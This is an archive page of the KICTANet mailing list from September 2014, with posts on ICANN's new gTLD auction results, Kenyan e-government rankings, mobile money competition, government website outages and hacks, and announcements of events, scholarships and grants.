political spheres by recognizing those who have used it positively to impact lives. The theme this year is "Making Social Media Work for You." Read more 2) Gulf Information Technology Exhibition,12th-16th October, Dubai Registration is open for the Gulf Information Technology Exhibition (GITEX) technology week on www.gitex.com, to be held on 12th October, 2014 at the Dubai World Trade Centre.Read more 3) E-Commerce Kenya Conference, 30th -31st October, Nairobi Sadiki East Africa is in the process of organizing an e-commerce conference whose purpose is to look into the future of e-commerce through shared knowledge, peer to peer conversations and engaging networking spaces.Read more STAY CONNECTED Forward this email This email was sent to ggithaiga(a)hotmail.com by communications(a)ict.go.ke | Update Profile/Email Address | Rapid removal with SafeUnsubscribe™ | Privacy Policy. ICT Authority | Telposta Towers, 12th Floor | Kenyatta Ave | P.o. box 27150-00100 | Nairobi | Kenya

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The price for New gTLD going forward has been set....
by Philip Adar 19 Sep '14

19 Sep '14

*Sent:* Friday, September 19, 2014 2:26 AM *Subject:* ICANN News Alert -- Results Available for 17 September 2014 New gTLD Program Auction [image: ICANN] <http://www.icann.org/> News Alert https://www.icann.org/news/announcement-2014-09-18-en ------------------------------ Results Available for 17 September 2014 New gTLD Program Auction 18 September 2014 On 17 September 2014, an Auction conducted by ICANN's authorized Auction service provider, Power Auctions LLC <http://www.powerauctions.com/>, was held to resolve string contention sets for three new generic Top-level Domain (gTLD) strings; BUY, TECH, and VIP. String contention occurs when more than one applicant has applied for the same or a confusingly similar gTLD. The applicants for these strings were unable to resolve the contention sets among themselves, and thus proceeded to an auction, which is the method of last resort to resolve string contention sets as prescribed in Module 4 of the Applicant Guidebook. Subject to payment of the Winning Price and meeting all other criteria for eligibility, the winner will begin the contracting process to sign a Registry Agreement to operate the respective gTLD. *Four applicants for BUY participated in the Auction. Amazon EU S.à r.l. prevailed in the Auction with the winning price of $4,588,888.* *Six applicants for TECH participated in the Auction. Dot Tech LLC prevailed in the Auction with the winning price of $6,760,000.* *Five applicants for VIP participated in the Auction. Top Level Domain Holdings prevailed in the Auction with the winning price of $3,000,888.* Akram Atallah, President of ICANN's Global Domains Division noted "The proceeds from these Auctions will be separated and reserved until the Board determines a plan for the appropriate use of the funds through consultation with the community. We continue to encourage parties to reach agreements amongst themselves to resolve contention." Additional bidding information is available in the Auction Reports which can be found on Auction Results page <https://gtldresult.icann.org/application-result/applicationstatus/auctionre…>within the New gTLD Microsite. Subsequent auctions are scheduled <http://newgtlds.icann.org/en/applicants/auctions/schedule-11sep14-en.pdf> [PDF, 250 KB] to occur on a monthly basis throughout 2014 and into early 2015. The auction events are intended to resolve multiple contention sets simultaneously. For information about ICANN Auctions please see the Auctions landing page <http://newgtlds.icann.org/en/applicants/auctions> on the New gTLD Microsite. -- Regards Philip Adar

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Equity Bank vs Safaricom :-Round 2
by Walubengo J 19 Sep '14

19 Sep '14

Listers, I thought you might find this interesting, ---------------- After Equity Bank decided to directly play in the mobile money market by issuing its own SIM cards, we debated heatedly in a previous blog whether Safaricom had finally met its match. At the time, it was assumed that Equity would be selling the traditional SIM card, which would require customers to either buy dual SIM-card phones or carry two phones in order to access services from two existing providers. Even within the inconvenient scenario above, Equity with its large customer base was bound to pose some significant competition to the leading mobile money provider Safaricom. The surprise, it seems, is the secret weapon Equity unveiled recently in the form of a Thin-SIM Card.... ------ Read more @ http://www.nation.co.ke/oped/blogs/dot9/walubengo/-/2274560/2453920/-/11d48…

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A model for extracting value from citizen data
by Mbugua Njihia 18 Sep '14

18 Sep '14

Every day we produce tonnes of unstructured data in increasing velocity and variety. This data is only as valuable as the applied insights derived from it, otherwise its collection and analysis becomes a waste of resources. At a recent BarCamp – “an open and participatory user-generated conference primarily focused around technology and the web” held in Nairobi at the epicenter of Kenya’s startup scene and dubbed “Who is your data’s daddy”, the issue of privacy came to the fore as a group of hacker’s demonstrated the ease with which systems and people are compromised. This led to an interesting debate on the place and dynamics of privacy in a digital world, amplified by the Kenyan governments push to digitize everything. The question remains, is there a way to use personal data without making the citizen feel exposed? Full piece here - http://www.mbuguanjihia.com/business/model-extracting-value-citizen-data.ht…

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Kenya ranked high globally in eGovernment
by Ali Hussein 17 Sep '14

17 Sep '14

Listers Interesting article. Although a lot still needs to be done we must take stock and see how greater engagement between the private and public sector can grow this important aspect of public-private partnerships. http://www.idgconnect.com/blog-abstract/8735/the-scorecard-government-acros… Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Service Interruption on GoK Websites
by Phyllis Nyambura 17 Sep '14

17 Sep '14

Listers, Please note the below and attached release on the interruptions of service on Government websites. *Press Release: Service Interruption of GoK Websites* *Thursday, 3rd September, 2014* The ICT Authority has developed comprehensive standards to guide public web content, appearance, security and accessibility of public websites. For the standards to be implemented, we conducted an audit of Government websites. The audit revealed that in their present state, many of the government websites do not conform to the standards and they are not secure. It has therefore become necessary to upgrade the hosting environment, reorient the websites to the approved standards, and train ICT officers and Public Communication officer’s on best practices for developing and maintaining websites. During this exercise we request the indulgence of users of Government websites since there will be service interruption from 3rd Sept 2014 to the 10th of Sept 2014. *For more information please contact Mary Ngaruma on mary.ngaruma(a)ict.go.ke <mary.ngaruma(a)ict.go.ke> or call us on 254-020-2211960/62* You can also access more information on: http://www.icta.go.ke/draft-web-standards/ Kind Regards, Phyllis Nyambura Communication Writer The ICT Authority Telposta Towers, 12th Floor, Kenyatta Ave P.O. Box 27150 - 00100 Nairobi, Kenya t: + 254-020-2211960/62 | m: + 254 (0) 789396433 | e: pnyambura(a)ict.go.ke Email: info(a)ict.go.ke or communications(a)ict.go.ke Visit: www.icta.go.ke <http://www.ict.go.ke/> Become a fan: www.facebook.com/ICTAuthorityKE <http://www.facebook.com/kenyaictboard> Follow us on twitter: @ICTAuthorityKE --------------------- -- ICT Authority Telposta Towers 12th Floor, Kenyatta Ave PO Box 27150 - 00100 Nairobi Kenya Tel: +254 20 2089061 www.icta.go.ke

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Re: [kictanet] Kenya ranked high globally in eGovernment
by James Mbugua 16 Sep '14

16 Sep '14

I always ask myself when I read these headlines, government offices may be connected e-wise, but are the people connected? Are our own government officials switched on to offer e-government or are they still doing things analogue. What of citizens? Are they on e-gov? James -----Original Message----- From: "Victor Kapiyo via kictanet" <kictanet(a)lists.kictanet.or.ke> Sent: ‎9/‎16/‎2014 10:21 To: "jgmbugua(a)gmail.com" <jgmbugua(a)gmail.com> Subject: Re: [kictanet] Kenya ranked high globally in eGovernment Happy belated birthday Ali. Additional lessons can be learnt from Estonia. Read: Lessons from the World's Most Tech-Savvy Government - http://www.theatlantic.com/international/archive/2014/01/lessons-from-the-w… Then check out the Estonia E-government portal, and more so the services section - https://www.eesti.ee/eng/start Our people from E-government should get in touch and learn / adopt a similar system. Victor Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 8 September 2014 13:03, Network of non- formal Educational institutions via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birth day Ali Jane On Monday, September 8, 2014 12:48 PM, Barrack Otieno via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birthday Ali, This is good news. I hope the government continues engaging stakeholders as has been the case in the last ten years, this will help in greater adoption of this electronic services. I was sad last week when i could not get a critical government service because the relevant government website had been hacked. This are issues that can be addressed collaboratively. We are what we are because a couple of years ago we embraced the multi-stakeholder model and worked together and this is the same spirit we should maintain. Best Regards On 9/8/14, Ali Hussein via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: > Andrea > > Now did you have to go and splash my birthday like that? :) > > The power of social media I guess...:) > > Thanks Andrea. And for those of you who are wondering how old I am - 21 > years. :) > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > "I fear the day technology will surpass human interaction. The world will > have a generation of idiots". ~ Albert Einstein > > Sent from my iPad > >> On Sep 8, 2014, at 10:39 AM, Andrea Bohnstedt >> <andrea.bohnstedt(a)ratio-magazine.com> wrote: >> >> Happy birthday, Ali :) >> >>> On 8 September 2014 10:34, Ali Hussein via kictanet >>> <kictanet(a)lists.kictanet.or.ke> wrote: >>> Listers >>> >>> Interesting article. Although a lot still needs to be done we must take >>> stock and see how greater engagement between the private and public >>> sector can grow this important aspect of public-private partnerships. >>> >>> http://www.idgconnect.com/blog-abstract/8735/the-scorecard-government-acros… >>> >>> Ali Hussein >>> >>> +254 770 906375 / 0713 601113 >>> >>> Twitter: @AliHKassim >>> Skype: abu-jomo >>> LinkedIn: http://ke.linkedin.com/in/alihkassim >>> Blog: www.alyhussein.com >>> >>> "I fear the day technology will surpass human interaction. The world will >>> have a generation of idiots". ~ Albert Einstein >>> >>> Sent from my iPad >>> >>> _______________________________________________ >>> kictanet mailing list >>> kictanet(a)lists.kictanet.or.ke >>> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >>> >>> Unsubscribe or change your options at >>> https://lists.kictanet.or.ke/mailman/options/kictanet/andrea.bohnstedt%40ra… >>> >>> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >>> for people and institutions interested and involved in ICT policy and >>> regulation. The network aims to act as a catalyst for reform in the ICT >>> sector in support of the national aim of ICT enabled growth and >>> development. >>> >>> KICTANetiquette : Adhere to the same standards of acceptable behaviors >>> online that you follow in real life: respect people's times and >>> bandwidth, share knowledge, don't flame or abuse or personalize, respect >>> privacy, do not spam, do not market your wares or qualifications. >> >> >> >> -- >> Andrea Bohnstedt >> Analyst/Publisher >> >> www.ratio-magazine.com >> www.africa-assets.com >> >> >> > -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/ _______________________________________________ kictanet mailing list kictanet(a)lists.kictanet.or.ke https://lists.kictanet.or.ke/mailman/listinfo/kictanet Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/nnfeischools%40yahoo.… The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. 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Re: [kictanet] Kenya ranked high globally in eGovernment
by James Mbugua 16 Sep '14

16 Sep '14

I always ask myself when I read these headlines, government offices may be connected e-wise, but are the people connected? Are our own government officials switched on to offer e-government or are they still doing things analogue. What of citizens? Are they on e-gov? James -----Original Message----- From: "Victor Kapiyo via kictanet" <kictanet(a)lists.kictanet.or.ke> Sent: ‎9/‎16/‎2014 10:21 To: "jgmbugua(a)gmail.com" <jgmbugua(a)gmail.com> Subject: Re: [kictanet] Kenya ranked high globally in eGovernment Happy belated birthday Ali. Additional lessons can be learnt from Estonia. Read: Lessons from the World's Most Tech-Savvy Government - http://www.theatlantic.com/international/archive/2014/01/lessons-from-the-w… Then check out the Estonia E-government portal, and more so the services section - https://www.eesti.ee/eng/start Our people from E-government should get in touch and learn / adopt a similar system. Victor Victor Kapiyo, LL.B ==================================================== “Your attitude, not your aptitude, will determine your altitude” Zig Ziglar On 8 September 2014 13:03, Network of non- formal Educational institutions via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birth day Ali Jane On Monday, September 8, 2014 12:48 PM, Barrack Otieno via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: Happy Birthday Ali, This is good news. I hope the government continues engaging stakeholders as has been the case in the last ten years, this will help in greater adoption of this electronic services. I was sad last week when i could not get a critical government service because the relevant government website had been hacked. This are issues that can be addressed collaboratively. We are what we are because a couple of years ago we embraced the multi-stakeholder model and worked together and this is the same spirit we should maintain. Best Regards On 9/8/14, Ali Hussein via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: > Andrea > > Now did you have to go and splash my birthday like that? :) > > The power of social media I guess...:) > > Thanks Andrea. And for those of you who are wondering how old I am - 21 > years. :) > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > "I fear the day technology will surpass human interaction. The world will > have a generation of idiots". ~ Albert Einstein > > Sent from my iPad > >> On Sep 8, 2014, at 10:39 AM, Andrea Bohnstedt >> <andrea.bohnstedt(a)ratio-magazine.com> wrote: >> >> Happy birthday, Ali :) >> >>> On 8 September 2014 10:34, Ali Hussein via kictanet >>> <kictanet(a)lists.kictanet.or.ke> wrote: >>> Listers >>> >>> Interesting article. Although a lot still needs to be done we must take >>> stock and see how greater engagement between the private and public >>> sector can grow this important aspect of public-private partnerships. >>> >>> http://www.idgconnect.com/blog-abstract/8735/the-scorecard-government-acros… >>> >>> Ali Hussein >>> >>> +254 770 906375 / 0713 601113 >>> >>> Twitter: @AliHKassim >>> Skype: abu-jomo >>> LinkedIn: http://ke.linkedin.com/in/alihkassim >>> Blog: www.alyhussein.com >>> >>> "I fear the day technology will surpass human interaction. The world will >>> have a generation of idiots". ~ Albert Einstein >>> >>> Sent from my iPad >>> >>> _______________________________________________ >>> kictanet mailing list >>> kictanet(a)lists.kictanet.or.ke >>> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >>> >>> Unsubscribe or change your options at >>> https://lists.kictanet.or.ke/mailman/options/kictanet/andrea.bohnstedt%40ra… >>> >>> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >>> for people and institutions interested and involved in ICT policy and >>> regulation. The network aims to act as a catalyst for reform in the ICT >>> sector in support of the national aim of ICT enabled growth and >>> development. >>> >>> KICTANetiquette : Adhere to the same standards of acceptable behaviors >>> online that you follow in real life: respect people's times and >>> bandwidth, share knowledge, don't flame or abuse or personalize, respect >>> privacy, do not spam, do not market your wares or qualifications. >> >> >> >> -- >> Andrea Bohnstedt >> Analyst/Publisher >> >> www.ratio-magazine.com >> www.africa-assets.com >> >> >> > -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/ _______________________________________________ kictanet mailing list kictanet(a)lists.kictanet.or.ke https://lists.kictanet.or.ke/mailman/listinfo/kictanet Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/nnfeischools%40yahoo.… The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. KICTANetiquette : Adhere to the same standards of acceptable behaviors online that you follow in real life: respect people's times and bandwidth, share knowledge, don't flame or abuse or personalize, respect privacy, do not spam, do not market your wares or qualifications. _______________________________________________ kictanet mailing list kictanet(a)lists.kictanet.or.ke https://lists.kictanet.or.ke/mailman/listinfo/kictanet Unsubscribe or change your options at https://lists.kictanet.or.ke/mailman/options/kictanet/vkapiyo%40gmail.com The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform for people and institutions interested and involved in ICT policy and regulation. The network aims to act as a catalyst for reform in the ICT sector in support of the national aim of ICT enabled growth and development. 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Of bullet trains and delusions of mega techno-cities....
by Ngigi Waithaka 16 Sep '14

16 Sep '14

Listers, I am hoping that many of you read this article http://www.nation.co.ke/oped/Opinion/bullet-trains-delusions-mega-techno-ci… If you didn't, I would urge you to read it. In a way the writer, David Ndii, has put it down from his point of view why it we are chasing a an economic-tiger mirage with our current policies of starting at the end as opposed to asking ourselves how to get there. I happen to agree with what he writes on this article, and it is my hope that we'll one day re-look at the current projects we have in ICT, especially Konza City and ask ourselves whether what this country needs is an ICT City or to invest in local universities and firms that will eventually build that city. -- *Regards,* *Wait**haka Ngigi* Chief Executive Officer | Alliance Technologies | MCK Nairobi Synod Building T + 254 (0) 20 2333 471 |Office Mobile: +254 786 28 28 28 | M + 254 737 811 000 www.at.co.ke

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Fwd: [KENYA-SECTION] Entrepreneurship Workshop for Scientists and Engineers in East Africa
by John Matogo 11 Sep '14

11 Sep '14

Dear colleagues. See message below. I hope you can attend and share with others to participate as well. Regards. JM IEEE and the Institute of Physics (IOP) have partnered to deliver a series of workshops on entrepreneurship for scientists and engineers from developing countries. In this regard the Entrepreneurship Workshop for Scientists and Engineers in East Africa will be held at the Kenya School of Monetary Studies from 3-7 December. It's a great training and a one semester university education module has been developed based on it. The participants will be equipped with the skills and tools to deliver the same training to others upon return to their organisations. Here's the link for the Nairobi entrepreneurship workshop to be conducted in December 2014. http://www.ieee.or.ke/entrepreneurship/ The official poster has also been attached to this mail. Entrepreneurship for Scientists and Engineers in East AfricaKenya School of Monetary Studies, Kenya, 3–7 December 2014 *VENUE AND OBJECTIVES*IEEE and the Institute of Physics (IOP) are jointly organising the 2014 workshop “Entrepreneurship for Scientists and Engineers in East Africa ” to be held at the Kenya School of Monetary Studies from 3-7 December. This one-week intensive workshop is designed for scientists and engineers from different parts of East Africa who are interested in learning entrepreneurial skills to commercialise their scientific inventions. Participants will benefit from the international perspective and profitable insights of leading experts and fellow delegates from the East Africa region and the rest of the world. *PURPOSES AND NATURE* The purpose of this workshop is to introduce scientists and engineers in the region to the process of innovation, generation and protection of intellectual property, technology transfer and commercialisation of inventions. The workshop will consist of lectures by invited speakers, case studies, group discussions and role-playing sessions related to the commercialisation of products. *TOPICS COVERED* Scientists and Engineers as Entrepreneurs; Opportunity and Value Assessment; Intellectual Property (IP); Basics of Patenting; IP Management and Global IP Protection; Business Plan Fundamentals, Technology Readiness Levels, Invention to Product: Timelines and Processes; Case Studies and Group Projects. *PARTICIPATION* Scientists and students throughout the East African region are welcome to attend the workshop. All sessions and talks will be conducted in English, so participants should have a good working knowledge of the language. Although the main purpose of the workshop is to help young scientists and engineers, aspiring students and other innovators are also welcome to apply. Participants will be expected to cover their costs of transportation to the venue. A registration fee of $250 will be charged to defray the cost of accommodation. *HOW TO GET INVOLVED* To participate at the event, complete the application form here <http://www.ieee.or.ke/entrepreneurship/application-for-the-entrepreneurship…> . The application dealine is *October 31, 2014*. CO-ORGANISERSFACULTY*Gordon Day*, IEEE *Dipali Bhatt-Chauhan*, Institute of Physics *Aniruddha Shahapure*, IEEE Kenya *Vincent Kaabunga*, IEEE Kenya *John Matogo*, IEEE Kenya *Julius Riungu*, Institution of Engineers of Kenya *Harrison Macharia*, NACOSTI*Mr Richard Brooks*, UK *Dr Surya Raghu*, USA *Dr Tony Bunn*, South Africa *Ms Yumiko Hamano*, Switzerland *Prof. Duncan Moore*, USA *Dr Joe Nimela*, Italy [image: ea-sponsors] -- Note: All emails sent from Strathmore University are subject to Strathmore’s Email Terms & Conditions. Please click here <http://www.strathmore.edu/aboutus.php?id=184> to read the policy. "Visit our Facebook <https://www.facebook.com/StrathmoreUniversity>Page and Twitter <https://twitter.com/StrathU>Account".

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Fw: Fwd: Fwd: Grant opportunities from the Bill & Melinda Gates Foundation
by Network of non- formal Educational institutions 11 Sep '14

11 Sep '14

On Tuesday, September 9, 2014 1:01 PM, Patricia Senghor <patricia(a)afrinic.net> wrote: Dear all, Please find below per your information. Best, Patricia -------- Forwarded Message -------- Subject: Fwd: Grant opportunities from the Bill & Melinda Gates Foundation Date: Tue, 9 Sep 2014 10:45:50 +0100 From: Michael Chima Ekenyerengozi <publisher(a)nigeriansreport.com> To: fireprogram(a)afrinic.net, Patricia Senghor <patricia(a)afrinic.net> ---------- Forwarded message ---------- From: Bill & Melinda Gates Foundation <gcmedia(a)gatesfoundation.org> Date: Tue, Sep 9, 2014 at 3:56 AM Subject: Grant opportunities from the Bill & Melinda Gates Foundation To: publisher(a)nigeriansreport.com Dear Colleagues, The Bill & Melinda Gates Foundation is now inviting applications to Grand Challenges Explorations, which has awarded over 1070 grants in over 58 countries to date. Grand Challenges Explorations seeks innovative global health and development solutions. Applicants can be at any experience level; in any discipline; and from any organization, including universities, government laboratories, research institutions, non-profit organizations as well as for-profit companies. Two-page proposals are being accepted online from September 4, 2014 until November 12, 2014 on the following topics: - Surveillance Tools, Diagnostics and an Artificial Diet to Support New Approaches to Vector Control. - New Approaches for Addressing Outdoor/Residual Malaria Transmission - New Ways to Reduce Pneumonia Fatalities through Timely, Effective Treatment of Children - Enable Universal Acceptance of Mobile Money Payments to Create an Economic Ecosystem that Will Help Lift the Poorest Out of Poverty - Explore New Ways to Measure Brain Development and Gestational Age - New Ways of Working Together: Integrating Community-Based Interventions Initial grants will be US $100,000 each, and projects showing promise will have the opportunity to receive additional funding of up to US $1 million. Full descriptions of the new topics and application instructions are available at: www.grandchallenges.org/explorations. We look forward to receiving innovative ideas from around the world and from all disciplines. If you have a great idea, please apply. If you know someone who may have a great idea, please forward this message. Please also note our Global Health Innovation Group on LinkedIn. Developed in collaboration with Grand Challenges Canada, this group offers a platform to connect and communicate with innovators from around the world. Anyone with a LinkedIn account can join and make use of this forum. Thank you for your commitment to solving the world's greatest health and development challenges. The Grand Challenges Team ----------------------------------------------------------------------- Guided by the belief that every life has equal value, the Bill & Melinda Gates Foundation works to help all people lead healthy, productive lives. Visit our site http://www.gatesfoundation.org Privacy Policy http://www.gatesfoundation.org/privacy-policy Unsubscribe http://www.grandchallenges.org/about/pages/Unsubscribe.aspx PO Box 23350 Seattle, WA. 98102 (C) 1999-2014 Bill & Melinda Gates Foundation. All Rights Reserved.

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Public Key Infrastructure critical to pushing Intra-Africa trade
by Mbugua Njihia 10 Sep '14

10 Sep '14

Players in the ICT space should apply themselves toward actively integrating PKI into their platforms even as government publics work with those in the COMESA and other African trade blocs to ratify the AU cyber security convention as a start. More here - http://www.mbuguanjihia.com/business/public-key-infrastructure-critical-pus… l

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Scholarships SAP Skills for Africa 2014
by Grace Githaiga 09 Sep '14

09 Sep '14

Apply today for the SAP Skills for Africa 2014 Scholarships Are you're a recent University Graduate? Did you attain a second class upper division in your degree? Do you have an interest in finance and business development? Are you looking for a fulfilling career? If you answered Yes,to all the above, you need to apply for the SAP Skills for Africa scholarships today! Apply for 2014 SAP skills for Africa Scholarship Deadline: Monday, 15th September 2014 What to expect: Full-paid SAP scholarship, certification after completion and internships placement after successful completion. Note: Candidates must have graduated between December 2011 and December 2014. The training will run from October 2014 - December 2014. The internships will run in the first quarter of 2015. Get more information here About the Program: SAP Skills for Africa scholarships is an 8-week long intensive SAP module training by expert trainers. The training is followed by certification exams in SAP modules. Launched in September 2012 by SAP East Africa and the ICT Authority, the SAP Skills for Africa offers fully sponsored SAP certification training for recent university graduates. The program was created to bridge the gap between demand for skills and demand for meaningful jobs. The training targets approximately 100 university graduates annually and is focused on a variety of soft and technical skills key to success in today's competitive job environment. Last year more than 80 graduates went through the program and most were matched with suitable job opportunities. Watch 2013 SAP Skills for Africa Scholarship Documentary Contacts: Ms Kaburo Kobia, Project Manager, Local Digital Content skills(a)ict.go.ke / SAPSkillsForAfricaKenya(a)sap.com Tel: +254 20 2089061 www.icta.go.ke For more info: Twitter: @SAPAfrica Facebook: SAPAfrica STAY CONNECTED Forward this email This email was sent to pnyambura(a)ict.go.ke by communications(a)ict.go.ke | Update Profile/Email Address | Rapid removal with SafeUnsubscribe™ | Privacy Policy. ICT Authority | Telposta Towers, 12th Floor | Kenyatta Ave | P.o. box 27150-00100 | Nairobi | Kenya ICT Authority Telposta Towers 12th Floor, Kenyatta Ave PO Box 27150 - 00100 Nairobi Kenya Tel: +254 20 2089061 www.icta.go.ke

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Calling African Innovators: Apply for Innovation Prize for Africa Today
by Grace Githaiga 09 Sep '14

09 Sep '14

What: Innovation Prize for Africa Brief: The Innovation Prize for Africa focuses on African-led solutions And encourages Africans to develop creative ways to overcome everyday challenges. Priority Areas: Agriculture & Agribusiness, Environment, Energy & Water, Health & Wellbeing, Information & Communications Technologies, Manufacturing & Service Industry: Apply today at: www.innovationprizeforafrica.org DEADLINE: 31 OCTOBER 2014 AT 24h00 GMT Prize: US$ 150,000 More Information: Twitter: @IPAprize Facebook: /InnovationPrizeforAfrica www.innovationprizeforafrica.org ipaapplications@africaninnovation ICT Authority Telposta Towers 12th Floor, Kenyatta Ave PO Box 27150 - 00100 Nairobi Kenya Tel: +254 20 2089061 www.icta.go.ke

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Role of ICT's for Persons with Disabilities
by Du Toit, Jaco 09 Sep '14

09 Sep '14

Dear colleagues, UNESCO, in close cooperation with international, regional, and national partners, is organizing the International conference "From Exclusion to Empowerment: The Role of Information and Communication Technologies for Persons with Disabilities" from 24 to 26 November 2014, in New Delhi, India. Interested partners who would like to be part of this international event that contains the international conference, film festival, and exhibition on ICTs for inclusion of persons with disabilities, can obtain more information at the following URL: The speakers will be policy and decision makers, industry representatives, research community, information and media professionals, filmmakers and producers, persons with disabilities, and civil society members. Regards Jaco ------------------------------------------------- Jaco DU TOIT Adviser for Communication & Information UNESCO Regional Office for Eastern Africa United Nations Avenue, UNON, Gigiri (Room C-209) P.O. Box 30592-00100, Nairobi, Kenya Tel: +254 (0)20 762 2346/2566 Fax +254 (0)20 762 2750 Email:j.dutoit@unesco.org, Website: http://www.unesco.org/new/en/nairobi

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http://www.mirp.go.ke/ - Hacked
by Barrack Otieno 08 Sep '14

08 Sep '14

Listers, Can't we find a lasting solution to this issues. Just from Nyayo house where i was directed to access some government services on immigration.go.ke that was equally down. I suppose citizens also deserve quality service. Someone is letting down Mr. President. -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/

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